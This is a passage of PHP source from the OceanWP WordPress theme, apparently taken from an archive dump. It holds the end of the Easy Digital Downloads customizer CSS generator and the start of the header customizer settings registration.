'ocean_edd_checkout_head_titles_color', '#666' ); $checkout_totals_table_titles_color = get_theme_mod( 'ocean_edd_checkout_totals_table_titles_color', '#666' ); $checkout_remove_button_color = get_theme_mod( 'ocean_edd_checkout_remove_button_color', '#333' ); $checkout_remove_button_color_hover = get_theme_mod( 'ocean_edd_checkout_remove_button_color_hover', '#13aff0' ); // Both sidebars shop page layout. $archives_layout = get_theme_mod( 'ocean_edd_archive_layout', 'left-sidebar' ); $bs_archives_content_width = get_theme_mod( 'ocean_edd_archive_both_sidebars_content_width' ); $bs_archives_sidebars_width = get_theme_mod( 'ocean_edd_archive_both_sidebars_sidebars_width' ); // Both sidebars single edd layout. $single_layout = get_theme_mod( 'ocean_edd_download_layout', 'left-sidebar' ); $bs_single_content_width = get_theme_mod( 'ocean_edd_download_both_sidebars_content_width' ); $bs_single_sidebars_width = get_theme_mod( 'ocean_edd_download_both_sidebars_sidebars_width' ); // Define css var. $css = ''; // Menu cart icon size. if ( ! empty( $menu_icon_size ) ) { $css .= '.eddmenucart i{font-size:' . $menu_icon_size . 'px;}'; $css .= '.eddmenucart .owp-icon{width:' . $menu_icon_size . 'px; height:' . $menu_icon_size . 'px;}'; } // Menu cart icon size tablet. if ( ! empty( $menu_icon_size_tablet ) ) { $css .= '@media (max-width: 768px){.oceanwp-mobile-menu-icon a.eddmenucart{font-size:' . $menu_icon_size_tablet . 'px;}}'; $css .= '@media (max-width: 768px){.oceanwp-mobile-menu-icon a.eddmenucart .owp-icon{width:' . $menu_icon_size_tablet . 'px; height:' . $menu_icon_size_tablet . 'px;}}'; } // Menu cart icon size mobile. if ( ! empty( $menu_icon_size_mobile ) ) { $css .= '@media (max-width: 480px){.oceanwp-mobile-menu-icon a.eddmenucart{font-size:' . $menu_icon_size_mobile . 'px;}}'; $css .= '@media (max-width: 480px){.oceanwp-mobile-menu-icon a.eddmenucart .owp-icon{width:' . $menu_icon_size_mobile . 'px; height:' . $menu_icon_size_mobile . 'px;}}'; } // Menu cart icon center vertically. if ( ! empty( $menu_icon_center_vertically ) ) { $css .= '.eddmenucart i{top:' . $menu_icon_center_vertically . 'px;}'; } // Menu cart icon center vertically tablet. if ( ! empty( $menu_icon_center_vertically_tablet ) ) { $css .= '@media (max-width: 768px){.oceanwp-mobile-menu-icon a.eddmenucart{top:' . $menu_icon_center_vertically_tablet . 'px;}}'; } // Menu cart icon center vertically mobile. if ( ! empty( $menu_icon_center_vertically_mobile ) ) { $css .= '@media (max-width: 480px){.oceanwp-mobile-menu-icon a.eddmenucart{top:' . $menu_icon_center_vertically_mobile . 'px;}}'; } // Cart dropdown width. if ( ! empty( $cart_dropdown_width ) && '350' != $cart_dropdown_width ) { $css .= '.current-shop-items-dropdown{width:' . $cart_dropdown_width . 'px;}'; } // Bag icon style color. if ( ! empty( $edd_menu_bag_icon_color ) && '#333333' != $edd_menu_bag_icon_color ) { $css .= '.eddmenucart-cart-icon .eddmenucart-count{border-color:' . $edd_menu_bag_icon_color . ';}'; $css .= '.eddmenucart-cart-icon .eddmenucart-count:after{border-color:' . $edd_menu_bag_icon_color . ';}'; } // Bag icon style hover color. if ( ! empty( $edd_menu_bag_icon_hover_color ) && '#13aff0' != $edd_menu_bag_icon_hover_color ) { $css .= '.bag-style:hover .eddmenucart-cart-icon .eddmenucart-count, .show-cart .eddmenucart-cart-icon .eddmenucart-count{background-color:' . $edd_menu_bag_icon_hover_color . '; border-color:' . $edd_menu_bag_icon_hover_color . ';}'; $css .= '.bag-style:hover .eddmenucart-cart-icon .eddmenucart-count:after, .show-cart .eddmenucart-cart-icon .eddmenucart-count:after{border-color:' . $edd_menu_bag_icon_hover_color . ';}'; } // Bag icon style count color. if ( ! empty( $edd_menu_bag_icon_count_color ) && '#333333' != $edd_menu_bag_icon_count_color ) { $css .= '.eddmenucart-cart-icon .eddmenucart-count, .edd-menu-icon .eddmenucart-total span{color:' . $edd_menu_bag_icon_count_color . ';}'; } // Bag icon style hover count color. if ( ! empty( $edd_menu_bag_icon_hover_count_color ) && '#ffffff' != $edd_menu_bag_icon_hover_count_color ) { $css .= '.bag-style:hover .eddmenucart-cart-icon .eddmenucart-count, .show-cart .eddmenucart-cart-icon .eddmenucart-count{color:' . $edd_menu_bag_icon_hover_count_color . ';}'; } // Cart dropdown background. if ( ! empty( $cart_dropdown_bg ) && '#ffffff' != $cart_dropdown_bg ) { $css .= '.current-shop-items-dropdown{background-color:' . $cart_dropdown_bg . ';}'; } // Cart dropdown borders. if ( ! empty( $cart_dropdown_borders ) && '#e6e6e6' != $cart_dropdown_borders ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget li{border-color:' . $cart_dropdown_borders . ';}'; } // Cart dropdown product title color. if ( ! empty( $cart_dropdown_title_color ) ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget li .edd-cart-item-title{color:' . $cart_dropdown_title_color . ';}'; } // Cart dropdown price color. if ( ! empty( $cart_dropdown_price_color ) && '#57bf6d' != $cart_dropdown_price_color ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget li .edd-cart-item-price{color:' . $cart_dropdown_price_color . ';}'; } // Cart dropdown remove link color. if ( ! empty( $cart_dropdown_remove_link_color ) && '#b3b3b3' != $cart_dropdown_remove_link_color ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget ul.edd-cart li a.edd-remove-from-cart{color:' . $cart_dropdown_remove_link_color . ';}'; } // Cart dropdown remove link hover color. if ( ! empty( $cart_dropdown_remove_link_color_hover ) && '#13aff0' != $cart_dropdown_remove_link_color_hover ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget ul.edd-cart li a.edd-remove-from-cart:hover{color:' . $cart_dropdown_remove_link_color_hover . ';}'; } // Cart dropdown subtotal background color. if ( ! empty( $cart_dropdown_subtotal_bg ) && '#fafafa' != $cart_dropdown_subtotal_bg ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget li.edd_total{background-color:' . $cart_dropdown_subtotal_bg . ';}'; } // Cart dropdown subtotal borde color. if ( ! empty( $cart_dropdown_subtotal_border_color ) && '#e6e6e6' != $cart_dropdown_subtotal_border_color ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget li.edd_total{border-color:' . $cart_dropdown_subtotal_border_color . ';}'; } // Cart dropdown subtotal color. if ( ! empty( $cart_dropdown_subtotal_color ) && '#797979' != $cart_dropdown_subtotal_color ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget li.edd_total{color:' . $cart_dropdown_subtotal_color . ';}'; } // Cart dropdown total price color. if ( ! empty( $cart_dropdown_total_price_color ) && '#57bf6d' != $cart_dropdown_total_price_color ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget li.edd_total .cart-total{color:' . $cart_dropdown_total_price_color . ';}'; } // Cart dropdown checkout button background color. if ( ! empty( $cart_dropdown_checkout_button_bg ) ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget .edd_checkout a{background-color:' . $cart_dropdown_checkout_button_bg . ';}'; } // Cart dropdown checkout button hover background color. if ( ! empty( $cart_dropdown_checkout_button_hover_bg ) ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget .edd_checkout a:hover{background-color:' . $cart_dropdown_checkout_button_hover_bg . ';}'; } // Cart dropdown checkout button color. if ( ! empty( $cart_dropdown_checkout_button_color ) ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget .edd_checkout a{color:' . $cart_dropdown_checkout_button_color . ';}'; } // Cart dropdown checkout button hover color. if ( ! empty( $cart_dropdown_checkout_button_hover_color ) ) { $css .= '.current-shop-items-dropdown .widget_edd_cart_widget .edd_checkout a:hover{color:' . $cart_dropdown_checkout_button_hover_color . ';}'; } // Product padding. if ( isset( $edd_top_padding ) && '' != $edd_top_padding || isset( $edd_right_padding ) && '' != $edd_right_padding || isset( $edd_bottom_padding ) && '' != $edd_bottom_padding || isset( $edd_left_padding ) && '' != $edd_left_padding ) { $css .= '.edd_downloads_list .edd_download_inner{padding:' . oceanwp_spacing_css( $edd_top_padding, $edd_right_padding, $edd_bottom_padding, $edd_left_padding ) . '}'; } // Tablet edd padding. if ( isset( $tablet_edd_top_padding ) && '' != $tablet_edd_top_padding || isset( $tablet_edd_right_padding ) && '' != $tablet_edd_right_padding || isset( $tablet_edd_bottom_padding ) && '' != $tablet_edd_bottom_padding || isset( $tablet_edd_left_padding ) && '' != $tablet_edd_left_padding ) { $css .= '@media (max-width: 768px){.edd_downloads_list .edd_download_inner{padding:' . oceanwp_spacing_css( $tablet_edd_top_padding, $tablet_edd_right_padding, $tablet_edd_bottom_padding, $tablet_edd_left_padding ) . '}}'; } // Mobile edd padding. if ( isset( $mobile_edd_top_padding ) && '' != $mobile_edd_top_padding || isset( $mobile_edd_right_padding ) && '' != $mobile_edd_right_padding || isset( $mobile_edd_bottom_padding ) && '' != $mobile_edd_bottom_padding || isset( $mobile_edd_left_padding ) && '' != $mobile_edd_left_padding ) { $css .= '@media (max-width: 480px){.edd_downloads_list .edd_download_inner{padding:' . oceanwp_spacing_css( $mobile_edd_top_padding, $mobile_edd_right_padding, $mobile_edd_bottom_padding, $mobile_edd_left_padding ) . '}}'; } // Product image margin. if ( isset( $edd_image_top_margin ) && '' != $edd_image_top_margin || isset( $edd_image_right_margin ) && '' != $edd_image_right_margin || isset( $edd_image_bottom_margin ) && '' != $edd_image_bottom_margin || isset( $edd_image_left_margin ) && '' != $edd_image_left_margin ) { $css .= '.edd_downloads_list .edd_download_inner .edd_download_image{margin:' . oceanwp_spacing_css( $edd_image_top_margin, $edd_image_right_margin, $edd_image_bottom_margin, $edd_image_left_margin ) . '}'; } // Tablet edd image margin. if ( isset( $tablet_edd_image_top_margin ) && '' != $tablet_edd_image_top_margin || isset( $tablet_edd_image_right_margin ) && '' != $tablet_edd_image_right_margin || isset( $tablet_edd_image_bottom_margin ) && '' != $tablet_edd_image_bottom_margin || isset( $tablet_edd_image_left_margin ) && '' != $tablet_edd_image_left_margin ) { $css .= '@media (max-width: 768px){.edd_downloads_list .edd_download_inner .edd_download_image{margin:' . oceanwp_spacing_css( $tablet_edd_image_top_margin, $tablet_edd_image_right_margin, $tablet_edd_image_bottom_margin, $tablet_edd_image_left_margin ) . '}}'; } // Mobile edd image margin. if ( isset( $mobile_edd_image_top_margin ) && '' != $mobile_edd_image_top_margin || isset( $mobile_edd_image_right_margin ) && '' != $mobile_edd_image_right_margin || isset( $mobile_edd_image_bottom_margin ) && '' != $mobile_edd_image_bottom_margin || isset( $mobile_edd_image_left_margin ) && '' != $mobile_edd_image_left_margin ) { $css .= '@media (max-width: 480px){.edd_downloads_list .edd_download_inner .edd_download_image{margin:' . oceanwp_spacing_css( $mobile_edd_image_top_margin, $mobile_edd_image_right_margin, $mobile_edd_image_bottom_margin, $mobile_edd_image_left_margin ) . '}}'; } // Product border style if border width. if ( isset( $edd_top_border_width ) && '' != $edd_top_border_width || isset( $edd_right_border_width ) && '' != $edd_right_border_width || isset( $edd_bottom_border_width ) && '' != $edd_bottom_border_width || isset( $edd_left_border_width ) && '' != $edd_left_border_width || isset( $tablet_edd_top_border_width ) && '' != $tablet_edd_top_border_width || isset( $tablet_edd_right_border_width ) && '' != $tablet_edd_right_border_width || isset( $tablet_edd_bottom_border_width ) && '' != $tablet_edd_bottom_border_width || isset( $tablet_edd_left_border_width ) && '' != $tablet_edd_left_border_width || isset( $mobile_edd_top_border_width ) && '' != $mobile_edd_top_border_width || isset( $mobile_edd_right_border_width ) && '' != $mobile_edd_right_border_width || isset( $mobile_edd_bottom_border_width ) && '' != $mobile_edd_bottom_border_width || isset( $mobile_edd_left_border_width ) && '' != $mobile_edd_left_border_width ) { $css .= '.edd_downloads_list .edd_download_inner{border-style: solid}'; } // Product border width. if ( isset( $edd_top_border_width ) && '' != $edd_top_border_width || isset( $edd_right_border_width ) && '' != $edd_right_border_width || isset( $edd_bottom_border_width ) && '' != $edd_bottom_border_width || isset( $edd_left_border_width ) && '' != $edd_left_border_width ) { $css .= '.edd_downloads_list .edd_download_inner{border-width:' . oceanwp_spacing_css( $edd_top_border_width, $edd_right_border_width, $edd_bottom_border_width, $edd_left_border_width ) . '}'; } // Tablet edd border width. if ( isset( $tablet_edd_top_border_width ) && '' != $tablet_edd_top_border_width || isset( $tablet_edd_right_border_width ) && '' != $tablet_edd_right_border_width || isset( $tablet_edd_bottom_border_width ) && '' != $tablet_edd_bottom_border_width || isset( $tablet_edd_left_border_width ) && '' != $tablet_edd_left_border_width ) { $css .= '@media (max-width: 768px){.edd_downloads_list .edd_download_inner{border-width:' . oceanwp_spacing_css( $tablet_edd_top_border_width, $tablet_edd_right_border_width, $tablet_edd_bottom_border_width, $tablet_edd_left_border_width ) . '}}'; } // Mobile edd border width. if ( isset( $mobile_edd_top_border_width ) && '' != $mobile_edd_top_border_width || isset( $mobile_edd_right_border_width ) && '' != $mobile_edd_right_border_width || isset( $mobile_edd_bottom_border_width ) && '' != $mobile_edd_bottom_border_width || isset( $mobile_edd_left_border_width ) && '' != $mobile_edd_left_border_width ) { $css .= '@media (max-width: 480px){.edd_downloads_list .edd_download_inner{border-width:' . oceanwp_spacing_css( $mobile_edd_top_border_width, $mobile_edd_right_border_width, $mobile_edd_bottom_border_width, $mobile_edd_left_border_width ) . '}}'; } // Product border radius. if ( isset( $edd_top_border_radius ) && '' != $edd_top_border_radius || isset( $edd_right_border_radius ) && '' != $edd_right_border_radius || isset( $edd_bottom_border_radius ) && '' != $edd_bottom_border_radius || isset( $edd_left_border_radius ) && '' != $edd_left_border_radius ) { $css .= '.edd_downloads_list .edd_download_inner{border-radius:' . oceanwp_spacing_css( $edd_top_border_radius, $edd_right_border_radius, $edd_bottom_border_radius, $edd_left_border_radius ) . '}'; } // Tablet edd border radius. if ( isset( $tablet_edd_top_border_radius ) && '' != $tablet_edd_top_border_radius || isset( $tablet_edd_right_border_radius ) && '' != $tablet_edd_right_border_radius || isset( $tablet_edd_bottom_border_radius ) && '' != $tablet_edd_bottom_border_radius || isset( $tablet_edd_left_border_radius ) && '' != $tablet_edd_left_border_radius ) { $css .= '@media (max-width: 768px){.edd_downloads_list .edd_download_inner{border-radius:' . oceanwp_spacing_css( $tablet_edd_top_border_radius, $tablet_edd_right_border_radius, $tablet_edd_bottom_border_radius, $tablet_edd_left_border_radius ) . '}}'; } // Mobile edd border radius. if ( isset( $mobile_edd_top_border_radius ) && '' != $mobile_edd_top_border_radius || isset( $mobile_edd_right_border_radius ) && '' != $mobile_edd_right_border_radius || isset( $mobile_edd_bottom_border_radius ) && '' != $mobile_edd_bottom_border_radius || isset( $mobile_edd_left_border_radius ) && '' != $mobile_edd_left_border_radius ) { $css .= '@media (max-width: 480px){.edd_downloads_list .edd_download_inner{border-radius:' . oceanwp_spacing_css( $mobile_edd_top_border_radius, $mobile_edd_right_border_radius, $mobile_edd_bottom_border_radius, $mobile_edd_left_border_radius ) . '}}'; } // Add background color. if ( ! empty( $edd_background_color ) ) { $css .= '.edd_downloads_list .edd_download_inner{background-color:' . $edd_background_color . ';}'; } // Add border color. if ( ! empty( $edd_border_color ) ) { $css .= '.edd_downloads_list .edd_download_inner{border-color:' . $edd_border_color . ';}'; } // Add category color. if ( ! empty( $category_color ) && '#999999' != $category_color ) { $css .= '.edd_downloads_list .edd_download_inner .edd_download_categories a{color:' . $category_color . ';}'; } // Add category color hover. if ( ! empty( $category_color_hover ) && '#13aff0' != $category_color_hover ) { $css .= '.edd_downloads_list .edd_download_inner .edd_download_categories a:hover{color:' . $category_color_hover . ';}'; } // Add edd entry title color. if ( ! empty( $edd_title_color ) && '#333333' != $edd_title_color ) { $css .= '.edd_downloads_list .edd_download_inner .edd_download_title a{color:' . $edd_title_color . ';}'; } // Add edd entry title color hover. if ( ! empty( $edd_title_color_hover ) && '#13aff0' != $edd_title_color_hover ) { $css .= '.edd_downloads_list .edd_download_inner .edd_download_title a:hover{color:' . $edd_title_color_hover . ';}'; } // Add edd entry price color. if ( ! empty( $edd_entry_price_color ) && '#57bf6d' != $edd_entry_price_color ) { $css .= '.edd_downloads_list .edd_download_inner span.edd_price, .edd_price_range_sep{color:' . $edd_entry_price_color . ';}'; } // Add edd entry add to cart background color. if ( ! empty( $edd_entry_addtocart_bg_color ) ) { $css .= '.edd_downloads_list .edd_download_inner .button{background-color:' . $edd_entry_addtocart_bg_color . ';}'; } // Add edd entry add to cart background color hover. if ( ! empty( $edd_entry_addtocart_bg_color_hover ) ) { $css .= '.edd_downloads_list .edd_download_inner .button:hover{background-color:' . $edd_entry_addtocart_bg_color_hover . ';}'; } // Add edd entry add to cart color. if ( ! empty( $edd_entry_addtocart_color ) && '#848494' != $edd_entry_addtocart_color ) { $css .= '.edd_downloads_list .edd_download_inner .button{color:' . $edd_entry_addtocart_color . ';}'; } // Add edd entry add to cart color hover. if ( ! empty( $edd_entry_addtocart_color_hover ) && '#13aff0' != $edd_entry_addtocart_color_hover ) { $css .= '.edd_downloads_list .edd_download_inner .button:hover{color:' . $edd_entry_addtocart_color_hover . ';}'; } // Add edd entry add to cart border color. if ( ! empty( $edd_entry_addtocart_border_color ) && '#e4e4e4' != $edd_entry_addtocart_border_color ) { $css .= '.edd_downloads_list .edd_download_inner .button{border-color:' . $edd_entry_addtocart_border_color . ';}'; } // Add edd entry add to cart border color hover. if ( ! empty( $edd_entry_addtocart_border_color_hover ) && '#13aff0' != $edd_entry_addtocart_border_color_hover ) { $css .= '.edd_downloads_list .edd_download_inner .button:hover{border-color:' . $edd_entry_addtocart_border_color_hover . ';}'; } // Add edd entry add to cart border style. if ( ! empty( $edd_entry_addtocart_border_style ) && 'double' != $edd_entry_addtocart_border_style ) { $css .= '.edd_downloads_list .edd_download_inner .button{border-style:' . $edd_entry_addtocart_border_style . ';}'; } // Add edd entry add to cart border size. if ( ! empty( $edd_entry_addtocart_border_size ) && '3' != $edd_entry_addtocart_border_size ) { $css .= '.edd_downloads_list .edd_download_inner .button{border-width:' . $edd_entry_addtocart_border_size . ';}'; } // Add edd entry add to cart border radius. if ( ! empty( $edd_entry_addtocart_border_radius ) ) { $css .= '.edd_downloads_list .edd_download_inner .button{border-radius:' . $edd_entry_addtocart_border_radius . ';}'; } // Add single edd title color. if ( ! empty( $single_edd_title_color ) && '#333333' != $single_edd_title_color ) { $css .= '.single-download .edd-download .edd_download_title{color:' . $single_edd_title_color . ';}'; } // Add single edd description color. if ( ! empty( $single_edd_description_color ) && '#aaaaaa' != $single_edd_description_color ) { $css .= '.single-download .edd-download .edd_download_content{color:' . $single_edd_description_color . ';}'; } // Add checkout titles color. if ( ! empty( $checkout_titles_color ) && '#222' != $checkout_titles_color ) { $css .= '#edd_checkout_form_wrap legend{color:' . $checkout_titles_color . ';}'; } // Add checkout notices titles border bottom color. if ( ! empty( $checkout_titles_border_bottom_color ) && '#e5e5e5' != $checkout_titles_border_bottom_color ) { $css .= '#edd_checkout_form_wrap legend{border-color:' . $checkout_titles_border_bottom_color . ';}'; } // Add checkout borders color. if ( ! empty( $checkout_borders_color ) && '#eee' != $checkout_borders_color ) { $css .= '#edd_checkout_cart th, #edd_checkout_cart td, #edd_checkout_form_wrap #edd-discount-code-wrap, #edd_checkout_form_wrap #edd_final_total_wrap, #edd_checkout_form_wrap #edd_show_discount, #edd_checkout_form_wrap fieldset{border-color:' . $checkout_borders_color . ';}'; } // Add checkout label color. if ( ! empty( $checkout_label_color ) && '#929292' != $checkout_label_color ) { $css .= '#edd_checkout_form_wrap .edd-label{color:' . $checkout_label_color . ';}'; } // Add checkout description color. if ( ! empty( $checkout_description_color ) && '#666' != $checkout_description_color ) { $css .= '#edd_checkout_form_wrap .edd-description{color:' . $checkout_description_color . ';}'; } // Add checkout head background. if ( ! empty( $checkout_head_bg ) && '#fafafa' != $checkout_head_bg ) { $css .= '#edd_checkout_cart .edd_cart_header_row th, .edd-table tr th{background-color:' . $checkout_head_bg . ';}'; } // Add checkout head titles color. if ( ! empty( $checkout_head_titles_color ) && '#666' != $checkout_head_titles_color ) { $css .= '#edd_checkout_cart .edd_cart_header_row th, .edd-table tr th{color:' . $checkout_head_titles_color . ';}'; } // Add checkout totals table titles color. if ( ! empty( $checkout_totals_table_titles_color ) && '#666' != $checkout_totals_table_titles_color ) { $css .= '#edd_checkout_cart th.edd_cart_total{color:' . $checkout_totals_table_titles_color . ';}'; } // Add checkout remove button color. if ( ! empty( $checkout_remove_button_color ) && '#333' != $checkout_remove_button_color ) { $css .= '#edd_checkout_cart a.edd_cart_remove_item_btn{color:' . $checkout_remove_button_color . ';}'; } // Add checkout remove button color hover. if ( ! empty( $checkout_remove_button_color_hover ) && '#13aff0' != $checkout_remove_button_color_hover ) { $css .= '#edd_checkout_cart a.edd_cart_remove_item_btn:hover{color:' . $checkout_remove_button_color_hover . ';}'; } // If shop page Both Sidebars layout. if ( 'both-sidebars' === $archives_layout ) { // Both Sidebars layout shop page content width. if ( ! empty( $bs_archives_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.edd.archive.content-both-sidebars .content-area {width: ' . $bs_archives_content_width . '%;} body.edd.archive.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.edd.archive.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_archives_content_width . '%;} }'; } // Both Sidebars layout shop page sidebars width. if ( ! empty( $bs_archives_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.edd.archive.content-both-sidebars .widget-area{width:' . $bs_archives_sidebars_width . '%;} body.edd.archive.content-both-sidebars.scs-style .content-area{left:' . $bs_archives_sidebars_width . '%;} body.edd.archive.content-both-sidebars.ssc-style .content-area{left:' . $bs_archives_sidebars_width * 2 . '%;} }'; } } // If single edd Both Sidebars layout. if ( 'both-sidebars' === $single_layout ) { // Both Sidebars layout single edd content width. if ( ! empty( $bs_single_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-edd.content-both-sidebars .content-area {width: ' . $bs_single_content_width . '%;} body.single-edd.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.single-edd.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_single_content_width . '%;} }'; } // Both Sidebars layout single edd sidebars width. if ( ! empty( $bs_single_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.single-edd.content-both-sidebars .widget-area{width:' . $bs_single_sidebars_width . '%;} body.single-edd.content-both-sidebars.scs-style .content-area{left:' . $bs_single_sidebars_width . '%;} body.single-edd.content-both-sidebars.ssc-style .content-area{left:' . $bs_single_sidebars_width * 2 . '%;} }'; } } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* EDD CSS */' . $css; } // Return output css. return $output; } } endif; return new OceanWP_EDD_Customizer(); customizer/settings/header.php000064400000754150151551031110012556 0ustar00add_panel( $panel , array( 'title' => esc_html__( 'Header', 'oceanwp' ), 'priority' => 210, ) ); /** * Section */ $wp_customize->add_section( 'ocean_header_general', array( 'title' => esc_html__( 'General', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Header Style */ $wp_customize->add_setting( 'ocean_header_style', array( 'default' => 'minimal', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_header_style', array( 'label' => esc_html__( 'Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_general', 'settings' => 'ocean_header_style', 'priority' => 10, 'choices' => array( 'minimal' => esc_html__( 'Minimal', 'oceanwp' ), 'transparent' => esc_html__( 'Transparent', 'oceanwp' ), 'top' => esc_html__( 'Top Menu', 'oceanwp' ), 'full_screen' => esc_html__( 'Full Screen', 'oceanwp' ), 'center' => esc_html__( 'Center', 'oceanwp' ), 'medium' => esc_html__( 'Medium', 'oceanwp' ), 'vertical' => esc_html__( 'Vertical', 'oceanwp' ), 'custom' => esc_html__( 'Custom Header', 'oceanwp' ), ), ) ) ); /** * Custom Header Template */ $wp_customize->add_setting( 'ocean_header_template', array( 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_header_template', array( 'label' => esc_html__( 'Select Template', 'oceanwp' ), 'description' => esc_html__( 'Choose a template created in Theme Panel > My Library.', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_header_general', 'settings' => 'ocean_header_template', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_custom_header', 'choices' => oceanwp_customizer_helpers( 'library' ), ) ) ); /** * Custom Header Add Container */ $wp_customize->add_setting( 'ocean_add_custom_header_container', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_add_custom_header_container', array( 'label' => esc_html__( 'Add Container', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_add_custom_header_container', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_custom_header', ) ) ); /** * Header Height */ $wp_customize->add_setting( 'ocean_header_height', array( 'transport' => 'postMessage', 'default' => '74', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_header_height', array( 'label' => esc_html__( 'Height (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_header_height', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_hasnt_header_styles', ) ) ); /** * Top Header Height */ $wp_customize->add_setting( 'ocean_top_header_height', array( 'transport' => 'postMessage', 'default' => '40', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_top_header_height', array( 'label' => esc_html__( 'Height (px)', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_top_header_height', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_top_header_style', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Header Full Width */ $wp_customize->add_setting( 'ocean_header_full_width', array( 'transport' => 'postMessage', 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_header_full_width', array( 'label' => esc_html__( 'Header Full Width', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_header_full_width', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_medium_custom_header_styles', ) ) ); /** * Header Border Bottom */ $wp_customize->add_setting( 'ocean_has_header_border_bottom', array( 'transport' => 'postMessage', 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_has_header_border_bottom', array( 'label' => esc_html__( 'Header Border Bottom', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_header_general', 'settings' => 'ocean_has_header_border_bottom', 'priority' => 10, ) ) ); /** * Header Background Color */ $wp_customize->add_setting( 'ocean_header_background', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_header_background', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_header_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_medium_header_style', ) ) ); /** * Header Border Bottom Color */ $wp_customize->add_setting( 'ocean_header_border_bottom', array( 'transport' => 'postMessage', 'default' => '#f1f1f1', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_header_border_bottom', array( 'label' => esc_html__( 'Border Bottom Color', 'oceanwp' ), 'section' => 'ocean_header_general', 'settings' => 'ocean_header_border_bottom', 'priority' => 10, ) ) ); /** * Header Padding */ $wp_customize->add_setting( 'ocean_header_top_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_header_right_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_header_bottom_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_header_left_padding', array( 'transport' => 'postMessage', 'default' => '0', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_header_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_header_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_header_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_header_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_header_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_header_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_header_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_header_mobile_left_padding', array( 'transport' 